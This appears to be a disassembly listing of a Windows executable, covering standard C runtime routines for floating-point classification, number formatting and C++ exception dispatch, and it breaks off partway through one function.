; Attributes: bp-based frame


sub_411B84	proc near		; CODE XREF: sub_40CDEA+31p
					; sub_40CF33+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_411B9B
		cmp	[ebp+arg_0], edx
		jnz	short loc_411BAD
		push	1
		jmp	short loc_411BD7
; ---------------------------------------------------------------------------


loc_411B9B:				; CODE XREF: sub_411B84+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_411BAD
		cmp	[ebp+arg_0], edx
		jnz	short loc_411BAD
		push	2
		jmp	short loc_411BD7
; ---------------------------------------------------------------------------


loc_411BAD:				; CODE XREF: sub_411B84+11j
					; sub_411B84+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_411BC0
		push	3
		jmp	short loc_411BD7
; ---------------------------------------------------------------------------


loc_411BC0:				; CODE XREF: sub_411B84+36j
		cmp	cx, 7FF0h
		jnz	short loc_411BDA
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_411BD5
		cmp	[ebp+arg_0], edx
		jz	short loc_411BDA


loc_411BD5:				; CODE XREF: sub_411B84+4Aj
		push	4


loc_411BD7:				; CODE XREF: sub_411B84+15j
					; sub_411B84+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411BDA:				; CODE XREF: sub_411B84+41j
					; sub_411B84+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_411B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_411BDE(double,int)

sub_411BDE	proc near		; CODE XREF: sub_411832+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_4187A8
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_411BFE
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_411C94
; ---------------------------------------------------------------------------


loc_411BFE:				; CODE XREF: sub_411BDE+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_411C6D
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_411C16
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_411C6D


loc_411C16:				; CODE XREF: sub_411BDE+31j
		fld	[ebp+arg_0]
		fcomp	dbl_4187A8
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_411C2E
		push	1
		pop	eax
		jmp	short loc_411C30
; ---------------------------------------------------------------------------


loc_411C2E:				; CODE XREF: sub_411BDE+49j
		xor	eax, eax


loc_411C30:				; CODE XREF: sub_411BDE+4Ej
					; sub_411BDE+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_411C49
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_411C43
		or	dword ptr [ebp+arg_0+4], 1


loc_411C43:				; CODE XREF: sub_411BDE+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_411C30
; ---------------------------------------------------------------------------


loc_411C49:				; CODE XREF: sub_411BDE+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_411C57
		or	byte ptr [ebp+arg_0+7],	80h


loc_411C57:				; CODE XREF: sub_411BDE+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_411B5B
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_411C94
; ---------------------------------------------------------------------------


loc_411C6D:				; CODE XREF: sub_411BDE+28j
					; sub_411BDE+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_411B5B
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_411C94:				; CODE XREF: sub_411BDE+1Bj
					; sub_411BDE+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_411BDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C9F	proc near		; CODE XREF: sub_41157F+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_411C9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CAD	proc near		; CODE XREF: sub_41157F+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_411CAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CBC	proc near		; CODE XREF: sub_40CDEA+13p
					; sub_40CDEA+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_411CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CDF	proc near		; CODE XREF: sub_411832+1Dp
					; sub_411832+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_411CF6
		fld	tbyte_421DB8
		fistp	[ebp+arg_0]
		wait


loc_411CF6:				; CODE XREF: sub_411CDF+Bj
		test	cl, 8
		jz	short loc_411D0B
		fstsw	ax
		fld	tbyte_421DB8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_411D0B:				; CODE XREF: sub_411CDF+1Aj
		test	cl, 10h
		jz	short loc_411D1A
		fld	tbyte_421DC4
		fstp	[ebp+var_8]
		wait


loc_411D1A:				; CODE XREF: sub_411CDF+2Fj
		test	cl, 4
		jz	short loc_411D28
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_411D28:				; CODE XREF: sub_411CDF+3Ej
		test	cl, 20h
		jz	short locret_411D33
		fldpi
		fstp	[ebp+var_8]
		wait

locret_411D33:				; CODE XREF: sub_411CDF+4Cj
		leave
		retn
sub_411CDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_411D35	proc near		; CODE XREF: sub_40CEB9+Fp
		push	30000h
		push	10000h
		call	sub_414CC5
		pop	ecx
		pop	ecx
		retn
sub_411D35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D47	proc near		; CODE XREF: sub_411D85:loc_411DA9j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4187B8
		fstp	[ebp+var_8]
		fld	dbl_4187B0
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_418638
		fnstsw	ax
		sahf
		jbe	short loc_411D81
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_411D81:				; CODE XREF: sub_411D47+33j
		xor	eax, eax
		leave
		retn
sub_411D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_411D85	proc near		; CODE XREF: sub_40CEB9+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_418094	; GetModuleHandleA
		test	eax, eax
		jz	short loc_411DA9
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_418090	; GetProcAddress
		test	eax, eax
		jz	short loc_411DA9
		push	0
		call	eax ; sub_40CEB9
		retn
; ---------------------------------------------------------------------------


loc_411DA9:				; CODE XREF: sub_411D85+Dj
					; sub_411D85+1Dj
		jmp	sub_411D47
sub_411D85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_411DAE	proc near		; CODE XREF: sub_40EDD8+3CBp
					; DATA XREF: sub_40CED1+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40E530
		cmp	eax, 65h
		pop	ecx
		jz	short loc_411DEE


loc_411DC2:				; CODE XREF: sub_411DAE+3Ej
		inc	esi
		cmp	dword_422004, 1
		jle	short loc_411DDB
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DDB:				; CODE XREF: sub_411DAE+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_421DF8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_411DEA:				; CODE XREF: sub_411DAE+2Bj
		test	eax, eax
		jnz	short loc_411DC2


loc_411DEE:				; CODE XREF: sub_411DAE+12j
		mov	cl, byte_422008
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_411DF9:				; CODE XREF: sub_411DAE+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_411DF9
		pop	esi
		retn
sub_411DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E08	proc near		; CODE XREF: sub_40EDD8+3E2p
					; DATA XREF: sub_40CED1+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_422008
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_411E24


loc_411E18:				; CODE XREF: sub_411E08+1Aj
		cmp	cl, dl
		jz	short loc_411E24
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_411E18


loc_411E24:				; CODE XREF: sub_411E08+Ej
					; sub_411E08+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_411E55


loc_411E2B:				; CODE XREF: sub_411E08+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_411E3E
		cmp	cl, 65h
		jz	short loc_411E3E
		cmp	cl, 45h
		jz	short loc_411E3E
		inc	eax
		jmp	short loc_411E2B
; ---------------------------------------------------------------------------


loc_411E3E:				; CODE XREF: sub_411E08+27j
					; sub_411E08+2Cj ...
		mov	ecx, eax


loc_411E40:				; CODE XREF: sub_411E08+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_411E40
		cmp	[eax], dl
		jnz	short loc_411E4B
		dec	eax


loc_411E4B:				; CODE XREF: sub_411E08+40j
					; sub_411E08+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_411E4B

locret_411E55:				; CODE XREF: sub_411E08+21j
		retn
sub_411E08	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E56	proc near		; DATA XREF: sub_40CED1+28o
					; .nsp0:off_421DE0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_4187A8
		fnstsw	ax
		sahf
		jb	short loc_411E6B
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_411E6B:				; CODE XREF: sub_411E56+Fj
		xor	eax, eax
		retn
sub_411E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E6E	proc near		; CODE XREF: sub_40F5E2+430p
					; DATA XREF: sub_40CED1+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_411E97
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_415188
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411E97:				; CODE XREF: sub_411E6E+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4151B5
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_411E6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411EAC	proc near		; CODE XREF: sub_412129+17p
					; sub_412173+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_481E24, 0
		push	ebx
		push	esi
		jz	short loc_411EE1
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_481E20
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4121C4
		pop	ecx
		pop	ecx
		jmp	short loc_411F19
; ---------------------------------------------------------------------------


loc_411EE1:				; CODE XREF: sub_411EAC+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_415259
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4151E2
		add	esp, 14h


loc_411F19:				; CODE XREF: sub_411EAC+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_411F25
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_411F25:				; CODE XREF: sub_411EAC+73j
		test	ebx, ebx
		jle	short loc_411F3D
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_422008
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_411F3D:				; CODE XREF: sub_411EAC+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_481E24, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_40E3C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_411F64
		mov	byte ptr [ecx],	45h


loc_411F64:				; CODE XREF: sub_411EAC+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_411FA9
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_411F78
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_411F78:				; CODE XREF: sub_411EAC+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_411F8F
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_411F8F:				; CODE XREF: sub_411EAC+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_411FA6
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_411FA6:				; CODE XREF: sub_411EAC+E7j
		add	[ecx+1], bl


loc_411FA9:				; CODE XREF: sub_411EAC+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_411EAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_411FB0	proc near		; CODE XREF: sub_412150+13p
					; sub_412173+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_481E24, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_411FEB
		mov	eax, dword_481E28
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_481E20
		cmp	eax, ebx
		jnz	short loc_41201B
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41201B
; ---------------------------------------------------------------------------


loc_411FEB:				; CODE XREF: sub_411FB0+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_415259
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4151E2
		add	esp, 14h


loc_41201B:				; CODE XREF: sub_411FB0+22j
					; sub_411FB0+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_412029
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_412029:				; CODE XREF: sub_411FB0+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_412040
		push	1
		push	edi
		call	sub_4121C4
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_412042
; ---------------------------------------------------------------------------


loc_412040:				; CODE XREF: sub_411FB0+7Ej
		add	edi, eax


loc_412042:				; CODE XREF: sub_411FB0+8Ej
		test	ebx, ebx
		jle	short loc_412087
		push	1
		push	edi
		call	sub_4121C4
		mov	al, byte_422008
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_412087
		cmp	byte_481E24, 0
		jz	short loc_41206C
		neg	esi
		jmp	short loc_412072
; ---------------------------------------------------------------------------


loc_41206C:				; CODE XREF: sub_411FB0+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_412074


loc_412072:				; CODE XREF: sub_411FB0+BAj
		mov	ebx, esi


loc_412074:				; CODE XREF: sub_411FB0+C0j
		push	ebx
		push	edi
		call	sub_4121C4
		push	ebx
		push	30h
		push	edi
		call	sub_40CC40
		add	esp, 14h


loc_412087:				; CODE XREF: sub_411FB0+94j
					; sub_411FB0+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_411FB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41208E	proc near		; CODE XREF: sub_412173+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_415259
		mov	dword_481E20, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_481E28, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4151E2
		mov	eax, dword_481E20
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_481E28, ecx
		setl	cl
		mov	byte_481E2C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_481E28, eax
		jl	short loc_412114
		cmp	eax, ebx
		jge	short loc_412114
		test	cl, cl
		jz	short loc_412105


loc_4120FB:				; CODE XREF: sub_41208E+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4120FB
		and	[esi-2], al


loc_412105:				; CODE XREF: sub_41208E+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_412150
		add	esp, 0Ch
		jmp	short loc_412124
; ---------------------------------------------------------------------------


loc_412114:				; CODE XREF: sub_41208E+63j
					; sub_41208E+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_412129
		add	esp, 10h


loc_412124:				; CODE XREF: sub_41208E+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41208E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412129	proc near		; CODE XREF: sub_41208E+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_481E24, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_411EAC
		and	byte_481E24, 0
		add	esp, 10h
		retn
sub_412129	endp


; =============== S U B	R O U T	I N E =======================================



sub_412150	proc near		; CODE XREF: sub_41208E+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_481E24, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_411FB0
		and	byte_481E24, 0
		add	esp, 0Ch
		retn
sub_412150	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412173	proc near		; CODE XREF: sub_40EDD8+3AAp
					; DATA XREF: sub_40CED1o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_4121AE
		cmp	[ebp+arg_8], 45h
		jz	short loc_4121AE
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41219B
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411FB0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41219B:				; CODE XREF: sub_412173+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41208E
		jmp	short loc_4121BF
; ---------------------------------------------------------------------------


loc_4121AE:				; CODE XREF: sub_412173+7j
					; sub_412173+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411EAC


loc_4121BF:				; CODE XREF: sub_412173+39j
		add	esp, 10h
		pop	ebp
		retn
sub_412173	endp


; =============== S U B	R O U T	I N E =======================================



sub_4121C4	proc near		; CODE XREF: sub_411EAC+2Cp
					; sub_411FB0+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4121E7
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_40CBC0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_40D460
		add	esp, 10h
		pop	esi


loc_4121E7:				; CODE XREF: sub_4121C4+7j
		pop	edi
		retn
sub_4121C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4121E9	proc near		; CODE XREF: .nsp0:0040D0B4p
					; sub_40D11D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4121FF
		call	sub_412A92


loc_4121FF:				; CODE XREF: sub_4121E9+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_412227
		cmp	dword ptr [esi+4], 0
		jz	short loc_41227D
		cmp	[ebp+arg_14], 0
		jnz	short loc_41227D
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_412530
		add	esp, 10h
		jmp	short loc_41227D
; ---------------------------------------------------------------------------


loc_412227:				; CODE XREF: sub_4121E9+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41227D
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_412261
		cmp	[eax+14h], edi
		jbe	short loc_412261
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_412261
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_412280
; ---------------------------------------------------------------------------


loc_412261:				; CODE XREF: sub_4121E9+4Aj
					; sub_4121E9+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_412284
		add	esp, 20h


loc_41227D:				; CODE XREF: sub_4121E9+23j
					; sub_4121E9+29j ...
		push	1
		pop	eax


loc_412280:				; CODE XREF: sub_4121E9+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4121E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412284	proc near		; CODE XREF: sub_4121E9+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_4122A4
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_4122A9


loc_4122A4:				; CODE XREF: sub_412284+16j
		call	sub_412A92


loc_4122A9:				; CODE XREF: sub_412284+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_412400
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41231D
		cmp	[esi+14h], edi
		jnz	short loc_41231D
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41231D
		mov	esi, dword_481E30
		test	esi, esi
		jz	loc_4123FB
		mov	eax, dword_481E34
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4153E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4122FF
		call	sub_412A92


loc_4122FF:				; CODE XREF: sub_412284+74j
		cmp	[esi], ebx
		jnz	loc_412400
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41231D
		cmp	[esi+14h], edi
		jnz	short loc_41231D
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41231D
		call	sub_412A92


loc_41231D:				; CODE XREF: sub_412284+41j
					; sub_412284+46j ...
		cmp	[esi], ebx
		jnz	loc_412400
		cmp	dword ptr [esi+10h], 3
		jnz	loc_412400
		cmp	[esi+14h], edi
		jnz	loc_412400
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_40D26B
		add	esp, 14h
		mov	ebx, eax


loc_412354:				; CODE XREF: sub_412284+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4123EB
		cmp	[ebx], edi
		jg	short loc_4123E0
		cmp	edi, [ebx+4]
		jg	short loc_4123E0
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4123DD


loc_412379:				; CODE XREF: sub_412284+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_4123AA


loc_41238B:				; CODE XREF: sub_412284+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4124D3
		add	esp, 0Ch
		test	eax, eax
